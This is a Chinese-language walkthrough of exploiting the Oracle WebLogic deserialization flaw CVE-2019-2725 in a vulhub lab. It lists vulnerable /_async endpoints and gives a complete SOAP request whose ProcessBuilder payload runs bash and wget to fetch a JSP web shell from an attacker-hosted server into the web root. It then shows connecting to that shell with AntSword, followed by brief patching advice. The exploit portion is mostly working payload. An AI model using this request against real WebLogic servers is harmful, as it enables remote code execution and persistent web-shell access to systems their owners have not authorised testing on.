描述
CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。
影响版本
weblogic 10.x
weblogic 12.1.3
漏洞检测
访问以下目录,若返回状态码200则说明该漏洞。
1 2 3 4 5 6
| /_async/AsyncResponseService /_async/AsyncResponseServiceJms /_async/AsyncResponseServiceHttps /_async/AsyncResponseServiceSoap12 /_async/AsyncResponseServiceSoap12Jms /_async/AsyncResponseServiceSoap12Https
|
1
| http://192.168.3.73:7001/_async/AsyncResponseService
|

环境搭建
这里使用vulnhub环境中的CVE-2017-10271来复现该漏洞。
1 2 3 4
| #进入漏洞目录 cd vulhub/weblogic/CVE-2017-10271 #开启环境 docker-compose up -d
|

查看环境
1
| http://192.168.3.50:7001/
|

复现过程
kali开启http服务提供下载shell.jsp

bp抓包payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| POST /_async/AsyncResponseService HTTP/1.1 Host: 192.168.3.73:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjM1MjA5NjEyLCJlbWFpbCI6IiJ9.cTSjCtV8thEmdfyP49gCsHldvX6KAAMjGQ209TCg0K8; JSESSIONID=050455BA3767B12181C6AA3E09AA3064 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 857 SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>wget http://192.168.3.61:8000/shell.jsp -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string> </void> </array> <void method="start"/></void> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>
|

send后,可以看到靶机的get请求。

访问http://192.168.3.73:7001/_async/shell.jsp发现文件已经成功上传。
通过蚁剑连接。



修复建议
1、及时打上官方CVE-2019-2725补丁包。官方已于4月26日公布紧急补丁包,下载地址:
2、升级本地JDK版本
因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。
3、配置URL访问控制策略
部署于公网的WebLogic服务器,可通过ACL禁止对/_async/及/wls-wsat/路径的访问。
4、删除不安全文件
删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。